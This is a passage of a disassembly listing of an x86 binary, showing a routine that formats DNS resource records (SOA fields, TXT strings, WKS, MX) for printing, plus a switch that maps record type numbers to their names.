					; sub_805F7E4+20j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	short loc_805F810
		push	esi
		call	sub_804D6B8
		and	eax, 0FFFFh
		mov	[ebp+var_8], eax
		add	esi, 2
		push	esi
		call	sub_804D6B8
		movzx	ebx, ax
		add	esi, 2
		push	esi
		call	sub_804D6D4
		mov	[ebp+var_1C], eax
		add	esi, 4
		push	esi
		call	sub_804D6B8
		and	eax, 0FFFFh
		mov	[ebp+var_C], eax
		add	esi, 2
		mov	[ebp+var_14], esi
		add	esp, 10h
		cmp	dword_80786A4, 0
		jz	short loc_805F87E
		test	byte ptr dword_80786A4+1, 4
		jz	short loc_805F890

loc_805F87E:				; CODE XREF: sub_805F7E4+8Fj
		mov	ecx, [ebp+var_1C]
		push	ecx
		push	offset aLu	; "\t%lu"
		push	edi
		call	fprintf
		add	esp, 0Ch

loc_805F890:				; CODE XREF: sub_805F7E4+98j
		cmp	dword_80786A4, 0
		jz	short loc_805F8A2
		test	byte ptr dword_80786A4,	4
		jz	short loc_805F8B7

loc_805F8A2:				; CODE XREF: sub_805F7E4+B3j
		push	ebx
		call	sub_80605D0
		push	eax
		push	offset aS_1	; "\t%s"
		push	edi
		call	fprintf
		add	esp, 10h

loc_805F8B7:				; CODE XREF: sub_805F7E4+BCj
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_8060004
		push	eax
		push	offset aS_1	; "\t%s"
		push	edi
		call	fprintf
		add	esp, 10h
		mov	eax, [ebp+var_8]
		dec	eax
		cmp	eax, 65h	; switch 102 cases 
		ja	loc_805FFA4	; default
		jmp	ds:off_805F8E4[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_805F8E4	dd offset loc_805FA7C, offset loc_805FB00, 2 dup(offset	loc_805FFA4)
					; DATA XREF: sub_805F7E4+F8r
		dd offset loc_805FB00, offset loc_805FB84, 3 dup(offset	loc_805FB00) ; jump table for switch statement
		dd offset loc_805FFA4, offset loc_805FEC0, offset loc_805FB00
		dd offset loc_805FB1C, offset loc_805FDEC, offset loc_805FCA0
		dd offset loc_805FD14, offset loc_805FDEC, offset loc_805FCA0
		dd offset loc_805FD14, offset loc_805FB1C, offset loc_805FCA0
		dd offset loc_805FDC8, 3 dup(offset loc_805FFA4), offset loc_805FCD0
		dd 49h dup(offset loc_805FFA4),	offset loc_805FE64, 2 dup(offset loc_805FE98)
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FA7C:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		cmp	ebx, 1		; case 0x0
		jz	short loc_805FA86
		cmp	ebx, 4
		jnz	short loc_805FAF8

loc_805FA86:				; CODE XREF: sub_805F7E4+29Bj
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	bcopy
		add	esp, 0Ch
		cmp	[ebp+var_C], 4
		jnz	short loc_805FAB0
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_805E984
		push	eax
		push	offset aS_1	; "\t%s"
		jmp	loc_805FEAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FAB0:				; CODE XREF: sub_805F7E4+2B5j
		cmp	[ebp+var_C], 7
		jnz	loc_805FFB9
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_805E984
		mov	[ebp+var_24], eax
		add	esi, 4
		mov	bl, [esi]
		inc	esi
		push	esi
		call	sub_804D6B8
		add	esi, 2
		and	eax, 0FFFFh
		push	eax
		movzx	eax, bl
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		push	offset aSProtoDPortD ; "\t%s\t;	proto %d, port %d"
		push	edi
		call	fprintf
		add	esp, 1Ch
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FAF8:				; CODE XREF: sub_805F7E4+2A0j
		add	esi, [ebp+var_C]
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FB00:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x1
		cmp	[edi+18h], eax
		ja	short loc_805FB10
		push	9
		jmp	loc_805FE2F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FB10:				; CODE XREF: sub_805F7E4+322j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		jmp	loc_805FE42
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FB1C:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	ecx, [ebp+var_C] ; case	0xc
		add	ecx, esi
		mov	[ebp+var_18], ecx
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_805FB3E
		push	esi
		push	ebx
		push	offset a_S	; "\t%.*s"
		push	edi
		call	fprintf
		add	esi, ebx
		add	esp, 10h

loc_805FB3E:				; CODE XREF: sub_805F7E4+346j
		cmp	[ebp+var_18], esi
		jbe	short loc_805FB64
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_805FB64
		push	esi
		push	ebx
		push	offset a_S	; "\t%.*s"
		push	edi
		call	fprintf
		add	esi, ebx
		add	esp, 10h
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FB64:				; CODE XREF: sub_805F7E4+35Dj
					; sub_805F7E4+365j
		cmp	[ebp+var_8], 0Dh
		jnz	loc_805FFB9
		push	offset aWarningOsTypeM ; "\n;; *** Warning *** OS-type missing"
		push	edi
		call	fprintf
		add	esp, 8
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FB84:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x5
		cmp	[edi+18h], eax
		ja	short loc_805FB9C
		push	9
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FBA5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FB9C:				; CODE XREF: sub_805F7E4+3A6j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_805FBA5:				; CODE XREF: sub_805F7E4+3B3j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FBD4
		push	20h
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FBDD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FBD4:				; CODE XREF: sub_805F7E4+3DFj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h
		inc	dword ptr [edi+14h]

loc_805FBDD:				; CODE XREF: sub_805F7E4+3ECj
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_805F810
		push	edi
		push	offset asc_8069767 ; " (\n"
		call	sub_80624D0
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		push	offset aLuSerial ; "\t\t\t%lu\t; serial\n"
		push	edi
		call	fprintf
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_806077C
		push	eax
		push	ebx
		push	offset aLuRefreshS ; "\t\t\t%lu\t; refresh (%s)\n"
		push	edi
		call	fprintf
		add	esp, 30h
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_806077C
		push	eax
		push	ebx
		push	offset aLuRetryS ; "\t\t\t%lu\t; retry (%s)\n"
		push	edi
		call	fprintf
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_806077C
		push	eax
		push	ebx
		push	offset aLuExpireS ; "\t\t\t%lu\t; expire (%s)\n"
		push	edi
		call	fprintf
		add	esp, 30h
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_806077C
		push	eax
		push	ebx
		push	offset aLuMinimumS ; "\t\t\t%lu	)\t; minimum (%s)"
		push	edi
		call	fprintf
		add	esp, 18h
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FCA0:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		push	esi		; case 0xe
		call	sub_804D6B8
		and	eax, 0FFFFh
		push	eax
		push	offset aD_1	; "\t%d	"
		push	edi
		call	fprintf
		add	esi, 2
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 1Ch
		jmp	loc_805FE55
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FCD0:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		push	esi		; case 0x19
		call	sub_804D6B8
		and	eax, 0FFFFh
		push	eax
		push	offset aD_1	; "\t%d	"
		push	edi
		call	fprintf
		add	esi, 2
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 1Ch
		test	esi, esi
		jz	loc_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		jbe	loc_805FE2D
		jmp	loc_805FE3C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FD14:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		push	edi		; case 0xf
		push	offset asc_80697DB ; "\t\""
		call	sub_80624D0
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_18], ecx
		add	esp, 8
		cmp	esi, ecx
		jnb	short loc_805FDA9
		nop

loc_805FD30:				; CODE XREF: sub_805F7E4+5C3j
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_805FDA4
		mov	[ebp+var_10], ebx
		jle	short loc_805FDA4
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805FD40:				; CODE XREF: sub_805F7E4+5BEj
		cmp	[ebp+var_18], esi
		jbe	short loc_805FDA9
		cmp	byte ptr [esi],	0Ah
		jz	short loc_805FD4F
		cmp	byte ptr [esi],	22h
		jnz	short loc_805FD78

loc_805FD4F:				; CODE XREF: sub_805F7E4+564j
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FD64
		push	5Ch
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FD6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FD64:				; CODE XREF: sub_805F7E4+571j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	5Ch
		inc	dword ptr [edi+14h]

loc_805FD6D:				; CODE XREF: sub_805F7E4+57Ej
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		jbe	short loc_805FD80
		jmp	short loc_805FD90
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FD78:				; CODE XREF: sub_805F7E4+569j
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FD90

loc_805FD80:				; CODE XREF: sub_805F7E4+58Fj
		movzx	eax, byte ptr [esi]
		push	eax
		inc	esi
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FD9B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FD90:				; CODE XREF: sub_805F7E4+591j
					; sub_805F7E4+59Aj
		mov	edx, [edi+14h]
		mov	al, [esi]
		mov	[edx], al
		inc	esi
		inc	dword ptr [edi+14h]

loc_805FD9B:				; CODE XREF: sub_805F7E4+5AAj
		dec	[ebp+var_10]
		cmp	[ebp+var_10], 0
		jg	short loc_805FD40

loc_805FDA4:				; CODE XREF: sub_805F7E4+552j
					; sub_805F7E4+557j
		cmp	[ebp+var_18], esi
		ja	short loc_805FD30

loc_805FDA9:				; CODE XREF: sub_805F7E4+549j
					; sub_805F7E4+55Fj
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FDB8
		push	22h
		jmp	loc_805FF8A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FDB8:				; CODE XREF: sub_805F7E4+5CBj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	22h
		inc	dword ptr [edi+14h]
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FDC8:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		push	0		; case 0x15
		push	esi
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_8060BD8
		push	eax
		push	offset aS_1	; "\t%s"
		push	edi
		call	fprintf
		add	esi, [ebp+var_C]
		add	esp, 18h
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FDEC:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	eax, [edi+14h]	; case 0xd
		cmp	[edi+18h], eax
		ja	short loc_805FE04
		push	9
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FE0D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FE04:				; CODE XREF: sub_805F7E4+60Ej
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_805FE0D:				; CODE XREF: sub_805F7E4+61Bj
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FE3C

loc_805FE2D:				; CODE XREF: sub_805F7E4+524j
		push	20h

loc_805FE2F:				; CODE XREF: sub_805F7E4+326j
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FE45
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FE3C:				; CODE XREF: sub_805F7E4+52Aj
					; sub_805F7E4+647j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h

loc_805FE42:				; CODE XREF: sub_805F7E4+332j
		inc	dword ptr [edi+14h]

loc_805FE45:				; CODE XREF: sub_805F7E4+654j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch

loc_805FE55:				; CODE XREF: sub_805F7E4+4E6j
		test	esi, esi
		jnz	loc_805FFB9
		jmp	loc_805F810
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FE64:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x63
		cmp	[edi+18h], eax
		ja	short loc_805FE7C
		push	9
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FE85
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FE7C:				; CODE XREF: sub_805F7E4+686j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_805FE85:				; CODE XREF: sub_805F7E4+693j
		push	edi
		push	esi
		call	sub_80624D0
		add	esi, [ebp+var_C]
		add	esp, 8
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FE98:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		cmp	[ebp+var_C], 4	; case 0x64
		jnz	loc_805FFB9
		push	esi
		call	sub_804D6D4
		push	eax
		push	offset aU	; "\t%u"

loc_805FEAE:				; CODE XREF: sub_805F7E4+2C6j
		push	edi
		call	fprintf
		add	esi, 4
		add	esp, 10h
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FEC0:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		cmp	[ebp+var_C], 4	; case 0xa
		jle	loc_805FFB9
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	bcopy
		add	esi, 4
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_805EEA4
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_805E984
		add	esp, 4
		push	eax
		push	offset aSS	; "\t%s	%s ( "
		push	edi
		call	fprintf
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_20], 0
		add	esp, 20h
		jmp	short loc_805FF76
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FF0C:				; CODE XREF: sub_805F7E4+79Aj
		movzx	ecx, byte ptr [esi]
		mov	[ebp+var_10], ecx
		inc	esi
		nop

loc_805FF14:				; CODE XREF: sub_805F7E4+790j
		cmp	byte ptr [ebp+var_10], 0
		jge	short loc_805FF6C
		cmp	[ebp+var_20], 0
		jnz	short loc_805FF35
		push	edi
		push	offset asc_80697EC ; "\n\t\t\t"
		call	sub_80624D0
		mov	[ebp+var_20], 5
		add	esp, 8

loc_805FF35:				; CODE XREF: sub_805F7E4+73Aj
		push	edi
		push	ebx
		call	sub_805E9B8
		add	esp, 4
		push	eax
		call	sub_80624D0
		add	esp, 8
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FF60
		push	20h
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FF69
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FF60:				; CODE XREF: sub_805F7E4+76Aj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h
		inc	dword ptr [edi+14h]

loc_805FF69:				; CODE XREF: sub_805F7E4+777j
		dec	[ebp+var_20]

loc_805FF6C:				; CODE XREF: sub_805F7E4+734j
		shl	[ebp+var_10], 1
		inc	ebx
		test	bl, 7
		jnz	short loc_805FF14

loc_805FF76:				; CODE XREF: sub_805F7E4+724j
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_C]
		cmp	esi, eax
		jb	short loc_805FF0C
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FF98
		push	29h

loc_805FF8A:				; CODE XREF: sub_805F7E4+5CFj
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FF98:				; CODE XREF: sub_805F7E4+7A2j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	29h
		inc	dword ptr [edi+14h]
		jmp	short loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FFA4:				; CODE XREF: sub_805F7E4+F2j
					; sub_805F7E4+F8j
					; DATA XREF: ...
		mov	ecx, [ebp+var_8] ; default
		push	ecx
		push	offset a?D?	; "\t?%d?"
		push	edi
		call	fprintf
		add	esi, [ebp+var_C]
		add	esp, 0Ch

loc_805FFB9:				; CODE XREF: sub_805F7E4+2D0j
					; sub_805F7E4+30Dj ...
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FFD0
		push	0Ah
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FFD9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FFD0:				; CODE XREF: sub_805F7E4+7DBj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [edi+14h]

loc_805FFD9:				; CODE XREF: sub_805F7E4+7E8j
		mov	eax, esi
		sub	eax, [ebp+var_14]
		cmp	[ebp+var_C], eax
		jz	short loc_805FFF5
		mov	ecx, [ebp+var_C]
		push	ecx
		push	eax
		push	offset aPacketSizeErro ; ";; packet size error (found %d, dlen wa"...
		push	edi
		call	fprintf
		xor	esi, esi

loc_805FFF5:				; CODE XREF: sub_805F7E4+7FDj
		mov	eax, esi

loc_805FFF7:				; CODE XREF: sub_805F7E4+2Ej
		lea	esp, [ebp+var_30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F7E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8060004	proc near		; CODE XREF: sub_805F1DC+344p
					; sub_805F7E4+D7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-1]	; switch 255 cases 
		cmp	eax, 0FEh
		ja	loc_80605B4	; default
		jmp	ds:off_8060020[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_8060020	dd offset loc_806041C, offset loc_8060428, 2 dup(offset	loc_80605B4)
					; DATA XREF: sub_8060004+14r
		dd offset loc_8060434, offset loc_8060440, offset loc_806044C ;	jump table for switch statement
		dd offset loc_8060458, offset loc_8060464, offset loc_8060470
		dd offset loc_806047C, offset loc_8060488, offset loc_8060494
		dd offset loc_80604A0, offset loc_80604AC, offset loc_80604B8
		dd offset loc_80604C4, offset loc_80604D0, offset loc_80604DC
		dd offset loc_80604E8, offset loc_80604F4, offset loc_8060500
		dd offset loc_806050C, offset loc_8060518, offset loc_8060524
		dd offset loc_8060530, offset loc_806053C, offset loc_8060548
		dd offset loc_8060554, 46h dup(offset loc_80605B4), offset loc_8060590
		dd offset loc_806059C, offset loc_80605A8, 95h dup(offset loc_80605B4)
		dd offset loc_8060560, offset loc_806056C, offset loc_8060578
		dd offset loc_8060584
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806041C:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aA	; case 0x1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060428:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aNs	; case 0x2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060434:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aCname ; case 0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060440:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aSoa ; case	0x6
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806044C:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aMb	; case 0x7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060458:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aMg	; case 0x8
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060464:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aMr	; case 0x9
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060470:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aNull_0 ; case 0xa
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806047C:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aWks ; case	0xb
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060488:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aPtr ; case	0xc
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8060494:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aHinfo ; case 0xd
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80604A0:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aMinfo ; case 0xe
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80604AC:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aMx	; case 0xf
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80604B8:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aTxt ; case	0x10
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80604C4:				; CODE XREF: sub_8060004+14j
					; DATA XREF: sub_8060004+1Co
		mov	eax, offset aRp	; case 0x11
		mov	esp, ebp
		pop	ebp
		retn
